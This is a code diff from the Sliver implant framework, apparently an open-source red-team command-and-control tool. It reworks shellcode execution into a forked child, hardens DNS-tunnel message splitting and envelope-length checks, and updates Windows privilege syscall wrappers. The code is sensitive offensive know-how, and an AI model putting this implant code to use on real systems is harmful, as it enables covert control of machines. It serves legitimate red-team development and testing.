cmd.Env = append(os.Environ(), localTaskHelperEnv+"="+mode)
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("helper subprocess (%s) exited abnormally: %v\noutput: %s", mode, err, out)
}
return out
}
func TestLocalTask_ParentSurvives(t *testing.T) {
out := runHelper(t, "exit0")
if !bytes.Contains(out, []byte(localTaskSentinel)) {
t.Fatalf("expected sentinel %q in helper output:\n%s", localTaskSentinel, out)
}
}
// Accepts signal-kill as well as clean non-zero exit: macOS Apple Silicon
// W^X faults mprotected-page execution with SIGBUS regardless of the
// shellcode bytes, which still exercises LocalTask's error path.
func TestLocalTask_ReportsChildFailure(t *testing.T) {
out := runHelper(t, "exit42")
if bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child exited 42")) {
return
}
if bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child killed by signal")) {
return
}
t.Fatalf("expected LOCALTASK_ERR for exit-42 or signal kill:\n%s", out)
}
+47 -7
View File
@@ -34,19 +34,59 @@ import (
//{{end}}
)
// LocalTask - Run a shellcode in the current process
// Will hang the process until shellcode completion
//go:linkname localTaskBeforeFork syscall.runtime_BeforeFork
func localTaskBeforeFork()
//go:linkname localTaskAfterFork syscall.runtime_AfterFork
func localTaskAfterFork()
//go:linkname localTaskAfterForkInChild syscall.runtime_AfterForkInChild
func localTaskAfterForkInChild()
// LocalTask - Run shellcode in a forked child; blocks until the child exits.
// Forking isolates the beacon from payloads that exit/execve (issue #2237).
func LocalTask(data []byte, rwxPages bool) error {
dataAddr := uintptr(unsafe.Pointer(&data[0]))
page := getPage(dataAddr)
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
pageAddr := uintptr(unsafe.Pointer(&page[0]))
pageLen := uintptr(len(page))
dataPtr := unsafe.Pointer(&data)
// funcPtr trick from hershell (https://github.com/lesnuages/hershell)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
localTaskBeforeFork()
// SYS_CLONE(SIGCHLD) = fork(). linux/arm64 has no SYS_FORK.
pid, _, errno := syscall.RawSyscall6(syscall.SYS_CLONE, uintptr(syscall.SIGCHLD), 0, 0, 0, 0, 0)
if errno != 0 {
localTaskAfterFork()
runtime.UnlockOSThread()
return errno
}
if pid == 0 {
localTaskAfterForkInChild()
for fd := uintptr(3); fd < 1024; fd++ {
syscall.RawSyscall(syscall.SYS_CLOSE, fd, 0, 0)
}
syscall.RawSyscall(syscall.SYS_MPROTECT, pageAddr, pageLen, uintptr(syscall.PROT_READ|syscall.PROT_EXEC))
funcPtr()
for {
syscall.RawSyscall(syscall.SYS_EXIT_GROUP, 0, 0, 0)
}
}
localTaskAfterFork()
var ws syscall.WaitStatus
_, err := syscall.Wait4(int(pid), &ws, 0, nil)
runtime.UnlockOSThread()
if err != nil {
return err
}
if ws.Signaled() {
return fmt.Errorf("shellcode child killed by signal %v", ws.Signal())
}
if ws.ExitStatus() != 0 {
return fmt.Errorf("shellcode child exited %d", ws.ExitStatus())
}
return nil
}
@@ -0,0 +1,87 @@
//go:build linux
package taskrunner
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"os"
"os/exec"
"runtime"
"testing"
"time"
)
const localTaskHelperEnv = "SLIVER_LOCALTASK_HELPER"
const localTaskSentinel = "PARENT_ALIVE_AFTER_LOCALTASK"
// linux/amd64: xor eax,eax ; xor edi,edi ; mov al,0x3c ; syscall — exit(0)
var exitShellcodeAmd64 = []byte{0x31, 0xc0, 0x31, 0xff, 0xb0, 0x3c, 0x0f, 0x05}
// linux/amd64: xor eax,eax ; mov al,0x3c ; mov edi,42 ; syscall — exit(42)
var exit42ShellcodeAmd64 = []byte{0x31, 0xc0, 0xb0, 0x3c, 0xbf, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05}
func TestMain(m *testing.M) {
switch os.Getenv(localTaskHelperEnv) {
case "exit0":
_ = LocalTask(exitShellcodeAmd64, false)
time.Sleep(500 * time.Millisecond)
fmt.Println(localTaskSentinel)
os.Exit(0)
case "exit42":
err := LocalTask(exit42ShellcodeAmd64, false)
if err != nil {
fmt.Printf("LOCALTASK_ERR=%s\n", err.Error())
} else {
fmt.Println("LOCALTASK_ERR=<nil>")
}
os.Exit(0)
}
os.Exit(m.Run())
}
func runHelper(t *testing.T, mode string) []byte {
t.Helper()
if runtime.GOARCH != "amd64" {
t.Skipf("exit shellcode is amd64-specific; GOARCH=%s", runtime.GOARCH)
}
cmd := exec.Command(os.Args[0])
cmd.Env = append(os.Environ(), localTaskHelperEnv+"="+mode)
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("helper subprocess (%s) exited abnormally: %v\noutput: %s", mode, err, out)
}
return out
}
func TestLocalTask_ParentSurvives(t *testing.T) {
out := runHelper(t, "exit0")
if !bytes.Contains(out, []byte(localTaskSentinel)) {
t.Fatalf("expected sentinel %q in helper output:\n%s", localTaskSentinel, out)
}
}
func TestLocalTask_ReportsChildFailure(t *testing.T) {
out := runHelper(t, "exit42")
if !bytes.Contains(out, []byte("LOCALTASK_ERR=shellcode child exited 42")) {
t.Fatalf("expected exit-42 error in helper output:\n%s", out)
}
}
@@ -709,6 +709,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
// SplitBuffer - There's probably a fancy way to calculate this with math and shit but it's much easier to just encode bytes
// and check the length until we hit the limit
func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.Encoder, data []byte) ([]string, error) {
if msg == nil {
return nil, ErrInvalidMsg
}
subdata := []string{}
start := 0
stop := start
@@ -743,14 +746,34 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
// log.Printf("[dns] shave data [%d:%d] of %d", start, stop, len(data))
// {{end}}
msg.Data = data[start:stop]
pbMsg, _ := proto.Marshal(msg)
encodedValue, _ := encoder.Encode(pbMsg)
encoded = string(encodedValue)
var err error
encoded, err = encodeDNSMessage(msg, encoder)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
// log.Printf("[dns] encoded length is %d (max: %d)", len(encoded), s.subdataSpace)
// {{end}}
}
// Step back if a protobuf varint boundary caused encoded to overshoot.
// Adding 1 byte across a varint boundary (e.g. Data length 127 to 128) grows
// the proto by 2 bytes, which can jump base32 by +3 or +4, exceeding the
// subdataSpace-1 guard above.
for s.subdataSpace < len(encoded) && stop > start {
stop--
msg.Data = data[start:stop]
var err error
encoded, err = encodeDNSMessage(msg, encoder)
if err != nil {
return nil, err
}
}
if stop <= start {
return nil, errMsgTooLong
}
lastLen = len(msg.Data) // Save the amount of data that fit for the next loop
// {{if .Config.Debug}}
encodedSubdata = append(encodedSubdata, encoded)
// {{end}}
@@ -789,6 +812,18 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func encodeDNSMessage(msg *dnspb.DNSMessage, encoder encoders.Encoder) (string, error) {
pbMsg, err := proto.Marshal(msg)
if err != nil {
return "", err
}
encoded, err := encoder.Encode(pbMsg)
if err != nil {
return "", err
}
return string(encoded), nil
}
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
@@ -21,6 +21,7 @@ package dnsclient
import (
"bytes"
"crypto/rand"
"errors"
"fmt"
"log"
insecureRand "math/rand"
@@ -34,6 +35,18 @@ import (
"google.golang.org/protobuf/proto"
)
type errorEncoder struct {
err error
}
func (e errorEncoder) Encode([]byte) ([]byte, error) {
return nil, e.err
}
func (e errorEncoder) Decode([]byte) ([]byte, error) {
return nil, e.err
}
const (
// Do not change these without updating the tests
parent1 = ".1.example.com."
@@ -137,6 +150,40 @@ func TestSplitBufferBase32(t *testing.T) {
}
}
func TestSplitBufferVarintBoundary(t *testing.T) {
// At this parent length, growing msg.Data from 127 to 128 bytes makes the
// encoded protobuf jump from 215 to 218 bytes while only 217 bytes fit.
// SplitBuffer must step back before joining the encoded data to the parent.
parent := fmt.Sprintf(".%s.example.com.", strings.Repeat("x", 19))
client := NewDNSClient(parent, opts)
if client.subdataSpace != 217 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parent, client.subdataSpace)
}
clientSplitBuffer(t, client, encoders.Base32{}, randomData(256))
}
func TestSplitBufferErrors(t *testing.T) {
client := NewDNSClient(parent1, opts)
if _, err := client.SplitBuffer(nil, encoders.Base32{}, []byte{1}); !errors.Is(err, ErrInvalidMsg) {
t.Fatalf("Expected %s, got %v", ErrInvalidMsg, err)
}
encodeErr := errors.New("encode failed")
msg := &dnspb.DNSMessage{Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT, Size: 1}
if _, err := client.SplitBuffer(msg, errorEncoder{err: encodeErr}, []byte{1}); !errors.Is(err, encodeErr) {
t.Fatalf("Expected %s, got %v", encodeErr, err)
}
// Leave one encoded byte of space so no non-empty protobuf can fit.
client = NewDNSClient("."+strings.Repeat("a", 250)+".", opts)
if client.subdataSpace != 1 {
t.Fatalf("Unexpected subdata space: %d", client.subdataSpace)
}
if _, err := client.SplitBuffer(msg, encoders.Base32{}, []byte{1}); !errors.Is(err, errMsgTooLong) {
t.Fatalf("Expected %s, got %v", errMsgTooLong, err)
}
}
func TestSplitBufferDomainConstraints(t *testing.T) {
client := NewDNSClient(parent1, opts)
testData := randomData(8192)
@@ -1,6 +1,7 @@
//go:build !windows
package http
// Package wininet provides the Windows WinINet HTTP transport.
package wininet
import "errors"
@@ -62,6 +62,9 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
TLSClientConfig: tlsConfig,
}
}
transport.ProxyConnectHeader = http.Header{
"User-Agent": []string{userAgent},
}
client := &http.Client{
Jar: cookieJar(),
Timeout: opts.NetTimeout,
+12 -1
View File
@@ -62,6 +62,10 @@ var (
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
const maxEnvelopeLength = 512 * 1024 * 1024
var errEnvelopeTooLarge = errors.New("[mtls] envelope exceeds maximum length")
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
@@ -207,11 +211,18 @@ func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
log.Printf("[mtls] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
if dataLength > maxEnvelopeLength {
// {{if .Config.Debug}}
log.Printf("[mtls] read error: envelope length %d exceeds max %d\n", dataLength, maxEnvelopeLength)
// {{end}}
return nil, errEnvelopeTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(r, dataBuf)
@@ -0,0 +1,61 @@
package mtls
import (
"bytes"
"encoding/binary"
"errors"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
)
func rawSigStub() []byte {
return make([]byte, cryptography.RawSigSize)
}
func lengthPrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readEnvelopeWithTimeout(t *testing.T, buf *bytes.Reader) error {
t.Helper()
ch := make(chan error, 1)
go func() {
_, err := ReadEnvelope(buf)
ch <- err
}()
select {
case err := <-ch:
return err
case <-time.After(3 * time.Second):
t.Fatal("ReadEnvelope did not return in time (possible unbounded allocation)")
return nil
}
}
func TestReadEnvelopeRejectsOversizedFrame(t *testing.T) {
var frame []byte
frame = append(frame, rawSigStub()...)
frame = append(frame, lengthPrefix(uint32(maxEnvelopeLength)+1)...)
buf := bytes.NewReader(frame)
err := readEnvelopeWithTimeout(t, buf)
if !errors.Is(err, errEnvelopeTooLarge) {
t.Fatalf("expected errEnvelopeTooLarge, got %v", err)
}
}
func TestReadEnvelopeRejectsZeroLength(t *testing.T) {
var frame []byte
frame = append(frame, rawSigStub()...)
frame = append(frame, lengthPrefix(0)...)
buf := bytes.NewReader(frame)
err := readEnvelopeWithTimeout(t, buf)
if err == nil {
t.Fatal("expected error for zero-length envelope")
}
}
@@ -247,6 +247,13 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
return nil, errors.New("[pivot] zero data length")
}
if dataLength > pivots.MaxFrameLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: frame length %d exceeds max %d\n", dataLength, pivots.MaxFrameLength)
// {{end}}
return nil, pivots.ErrFrameTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
@@ -0,0 +1,96 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"errors"
"net"
"sync"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/pivots"
)
func framePrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readWithTimeout(t *testing.T, read func() ([]byte, error)) ([]byte, error) {
t.Helper()
type result struct {
data []byte
err error
}
ch := make(chan result, 1)
go func() {
d, e := read()
ch <- result{d, e}
}()
select {
case r := <-ch:
return r.data, r.err
case <-time.After(3 * time.Second):
t.Fatal("read() did not return in time (possible unbounded read)")
return nil, nil
}
}
// A corrupted/desynced length prefix must be rejected before allocating rather
// than triggering a multi-GB allocation that crashes the implant.
func TestNetConnPivotClientReadRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivotClient{conn: server, readMutex: &sync.Mutex{}}
go func() {
_, _ = client.Write(framePrefix(uint32(pivots.MaxFrameLength) + 1))
}()
if _, err := readWithTimeout(t, p.read); !errors.Is(err, pivots.ErrFrameTooLarge) {
t.Fatalf("expected pivots.ErrFrameTooLarge, got %v", err)
}
}
func TestNetConnPivotClientReadAcceptsValidFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivotClient{conn: server, readMutex: &sync.Mutex{}}
payload := []byte("hello pivot client")
go func() {
_, _ = client.Write(framePrefix(uint32(len(payload))))
_, _ = client.Write(payload)
}()
data, err := readWithTimeout(t, p.read)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if string(data) != string(payload) {
t.Fatalf("got %q, want %q", data, payload)
}
}
@@ -0,0 +1,72 @@
//go:build windows || darwin || linux
// Package wireguard implements the WireGuard transport for Sliver implants.
package wireguard
import (
"encoding/binary"
"errors"
"net"
"testing"
"time"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
)
func rawSigStub() []byte {
return make([]byte, cryptography.RawSigSize)
}
func lengthPrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
func readEnvelopeWithTimeout(t *testing.T, conn net.Conn) error {
t.Helper()
ch := make(chan error, 1)
go func() {
_, err := ReadEnvelope(conn)
ch <- err
}()
select {
case err := <-ch:
return err
case <-time.After(3 * time.Second):
t.Fatal("ReadEnvelope did not return in time (possible unbounded allocation)")
return nil
}
}
func TestReadEnvelopeRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
go func() {
_, _ = client.Write(rawSigStub())
_, _ = client.Write(lengthPrefix(uint32(maxEnvelopeLength) + 1))
}()
err := readEnvelopeWithTimeout(t, server)
if !errors.Is(err, errEnvelopeTooLarge) {
t.Fatalf("expected errEnvelopeTooLarge, got %v", err)
}
}
func TestReadEnvelopeRejectsZeroLength(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
go func() {
_, _ = client.Write(rawSigStub())
_, _ = client.Write(lengthPrefix(0))
}()
err := readEnvelopeWithTimeout(t, server)
if err == nil {
t.Fatal("expected error for zero-length envelope")
}
}
@@ -76,6 +76,10 @@ var (
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
const maxEnvelopeLength = 512 * 1024 * 1024
var errEnvelopeTooLarge = errors.New("[wireguard] envelope exceeds maximum length")
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
@@ -200,11 +204,18 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
log.Printf("[wireguard] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if dataLength > maxEnvelopeLength {
// {{if .Config.Debug}}
log.Printf("[wireguard] read error: envelope length %d exceeds max %d\n", dataLength, maxEnvelopeLength)
// {{end}}
return nil, errEnvelopeTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
+32 -32
View File
@@ -82,7 +82,7 @@ func adjustTokenPrivileges(token windows.Token, releaseAll bool, input *byte, ou
if releaseAll {
_p0 = 1
}
r0, _, e1 := syscall.Syscall6(procAdjustTokenPrivileges.Addr(), 6, uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
r0, _, e1 := syscall.SyscallN(procAdjustTokenPrivileges.Addr(), uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
success = r0 != 0
if true {
err = errnoErr(e1)
@@ -91,7 +91,7 @@ func adjustTokenPrivileges(token windows.Token, releaseAll bool, input *byte, ou
}
func convertSecurityDescriptorToStringSecurityDescriptor(sd *byte, revision uint32, secInfo uint32, sddl **uint16, sddlSize *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procConvertSecurityDescriptorToStringSecurityDescriptorW.Addr(), 5, uintptr(unsafe.Pointer(sd)), uintptr(revision), uintptr(secInfo), uintptr(unsafe.Pointer(sddl)), uintptr(unsafe.Pointer(sddlSize)), 0)
r1, _, e1 := syscall.SyscallN(procConvertSecurityDescriptorToStringSecurityDescriptorW.Addr(), uintptr(unsafe.Pointer(sd)), uintptr(revision), uintptr(secInfo), uintptr(unsafe.Pointer(sddl)), uintptr(unsafe.Pointer(sddlSize)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -99,7 +99,7 @@ func convertSecurityDescriptorToStringSecurityDescriptor(sd *byte, revision uint
}
func convertSidToStringSid(sid *byte, str **uint16) (err error) {
r1, _, e1 := syscall.Syscall(procConvertSidToStringSidW.Addr(), 2, uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(str)), 0)
r1, _, e1 := syscall.SyscallN(procConvertSidToStringSidW.Addr(), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(str)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -116,7 +116,7 @@ func convertStringSecurityDescriptorToSecurityDescriptor(str string, revision ui
}
func _convertStringSecurityDescriptorToSecurityDescriptor(str *uint16, revision uint32, sd *uintptr, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(), 4, uintptr(unsafe.Pointer(str)), uintptr(revision), uintptr(unsafe.Pointer(sd)), uintptr(unsafe.Pointer(size)), 0, 0)
r1, _, e1 := syscall.SyscallN(procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(), uintptr(unsafe.Pointer(str)), uintptr(revision), uintptr(unsafe.Pointer(sd)), uintptr(unsafe.Pointer(size)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -124,13 +124,13 @@ func _convertStringSecurityDescriptorToSecurityDescriptor(str *uint16, revision
}
func getSecurityDescriptorLength(sd uintptr) (len uint32) {
r0, _, _ := syscall.Syscall(procGetSecurityDescriptorLength.Addr(), 1, uintptr(sd), 0, 0)
r0, _, _ := syscall.SyscallN(procGetSecurityDescriptorLength.Addr(), uintptr(sd))
len = uint32(r0)
return
}
func impersonateSelf(level uint32) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateSelf.Addr(), 1, uintptr(level), 0, 0)
r1, _, e1 := syscall.SyscallN(procImpersonateSelf.Addr(), uintptr(level))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -147,7 +147,7 @@ func lookupAccountName(systemName *uint16, accountName string, sid *byte, sidSiz
}
func _lookupAccountName(systemName *uint16, accountName *uint16, sid *byte, sidSize *uint32, refDomain *uint16, refDomainSize *uint32, sidNameUse *uint32) (err error) {
r1, _, e1 := syscall.Syscall9(procLookupAccountNameW.Addr(), 7, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(accountName)), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(sidSize)), uintptr(unsafe.Pointer(refDomain)), uintptr(unsafe.Pointer(refDomainSize)), uintptr(unsafe.Pointer(sidNameUse)), 0, 0)
r1, _, e1 := syscall.SyscallN(procLookupAccountNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(accountName)), uintptr(unsafe.Pointer(sid)), uintptr(unsafe.Pointer(sidSize)), uintptr(unsafe.Pointer(refDomain)), uintptr(unsafe.Pointer(refDomainSize)), uintptr(unsafe.Pointer(sidNameUse)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -164,7 +164,7 @@ func lookupPrivilegeDisplayName(systemName string, name *uint16, buffer *uint16,
}
func _lookupPrivilegeDisplayName(systemName *uint16, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeDisplayNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -181,7 +181,7 @@ func lookupPrivilegeName(systemName string, luid *uint64, buffer *uint16, size *
}
func _lookupPrivilegeName(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeNameW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -203,7 +203,7 @@ func lookupPrivilegeValue(systemName string, name string, luid *uint64) (err err
}
func _lookupPrivilegeValue(systemName *uint16, name *uint16, luid *uint64) (err error) {
r1, _, e1 := syscall.Syscall(procLookupPrivilegeValueW.Addr(), 3, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
r1, _, e1 := syscall.SyscallN(procLookupPrivilegeValueW.Addr(), uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -215,7 +215,7 @@ func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool,
if openAsSelf {
_p0 = 1
}
r1, _, e1 := syscall.Syscall6(procOpenThreadToken.Addr(), 4, uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0)
r1, _, e1 := syscall.SyscallN(procOpenThreadToken.Addr(), uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -223,7 +223,7 @@ func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool,
}
func revertToSelf() (err error) {
r1, _, e1 := syscall.Syscall(procRevertToSelf.Addr(), 0, 0, 0, 0)
r1, _, e1 := syscall.SyscallN(procRevertToSelf.Addr())
if r1 == 0 {
err = errnoErr(e1)
}
@@ -243,7 +243,7 @@ func backupRead(h syscall.Handle, b []byte, bytesRead *uint32, abort bool, proce
if processSecurity {
_p2 = 1
}
r1, _, e1 := syscall.Syscall9(procBackupRead.Addr(), 7, uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesRead)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)), 0, 0)
r1, _, e1 := syscall.SyscallN(procBackupRead.Addr(), uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesRead)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -263,7 +263,7 @@ func backupWrite(h syscall.Handle, b []byte, bytesWritten *uint32, abort bool, p
if processSecurity {
_p2 = 1
}
r1, _, e1 := syscall.Syscall9(procBackupWrite.Addr(), 7, uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesWritten)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)), 0, 0)
r1, _, e1 := syscall.SyscallN(procBackupWrite.Addr(), uintptr(h), uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(unsafe.Pointer(bytesWritten)), uintptr(_p1), uintptr(_p2), uintptr(unsafe.Pointer(context)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -271,7 +271,7 @@ func backupWrite(h syscall.Handle, b []byte, bytesWritten *uint32, abort bool, p
}
func cancelIoEx(file syscall.Handle, o *syscall.Overlapped) (err error) {
r1, _, e1 := syscall.Syscall(procCancelIoEx.Addr(), 2, uintptr(file), uintptr(unsafe.Pointer(o)), 0)
r1, _, e1 := syscall.SyscallN(procCancelIoEx.Addr(), uintptr(file), uintptr(unsafe.Pointer(o)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -279,7 +279,7 @@ func cancelIoEx(file syscall.Handle, o *syscall.Overlapped) (err error) {
}
func connectNamedPipe(pipe syscall.Handle, o *syscall.Overlapped) (err error) {
r1, _, e1 := syscall.Syscall(procConnectNamedPipe.Addr(), 2, uintptr(pipe), uintptr(unsafe.Pointer(o)), 0)
r1, _, e1 := syscall.SyscallN(procConnectNamedPipe.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(o)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -296,7 +296,7 @@ func createFile(name string, access uint32, mode uint32, sa *syscall.SecurityAtt
}
func _createFile(name *uint16, access uint32, mode uint32, sa *syscall.SecurityAttributes, createmode uint32, attrs uint32, templatefile syscall.Handle) (handle syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateFileW.Addr(), 7, uintptr(unsafe.Pointer(name)), uintptr(access), uintptr(mode), uintptr(unsafe.Pointer(sa)), uintptr(createmode), uintptr(attrs), uintptr(templatefile), 0, 0)
r0, _, e1 := syscall.SyscallN(procCreateFileW.Addr(), uintptr(unsafe.Pointer(name)), uintptr(access), uintptr(mode), uintptr(unsafe.Pointer(sa)), uintptr(createmode), uintptr(attrs), uintptr(templatefile))
handle = syscall.Handle(r0)
if handle == syscall.InvalidHandle {
err = errnoErr(e1)
@@ -305,7 +305,7 @@ func _createFile(name *uint16, access uint32, mode uint32, sa *syscall.SecurityA
}
func createIoCompletionPort(file syscall.Handle, port syscall.Handle, key uintptr, threadCount uint32) (newport syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateIoCompletionPort.Addr(), 4, uintptr(file), uintptr(port), uintptr(key), uintptr(threadCount), 0, 0)
r0, _, e1 := syscall.SyscallN(procCreateIoCompletionPort.Addr(), uintptr(file), uintptr(port), uintptr(key), uintptr(threadCount))
newport = syscall.Handle(r0)
if newport == 0 {
err = errnoErr(e1)
@@ -323,7 +323,7 @@ func createNamedPipe(name string, flags uint32, pipeMode uint32, maxInstances ui
}
func _createNamedPipe(name *uint16, flags uint32, pipeMode uint32, maxInstances uint32, outSize uint32, inSize uint32, defaultTimeout uint32, sa *syscall.SecurityAttributes) (handle syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateNamedPipeW.Addr(), 8, uintptr(unsafe.Pointer(name)), uintptr(flags), uintptr(pipeMode), uintptr(maxInstances), uintptr(outSize), uintptr(inSize), uintptr(defaultTimeout), uintptr(unsafe.Pointer(sa)), 0)
r0, _, e1 := syscall.SyscallN(procCreateNamedPipeW.Addr(), uintptr(unsafe.Pointer(name)), uintptr(flags), uintptr(pipeMode), uintptr(maxInstances), uintptr(outSize), uintptr(inSize), uintptr(defaultTimeout), uintptr(unsafe.Pointer(sa)))
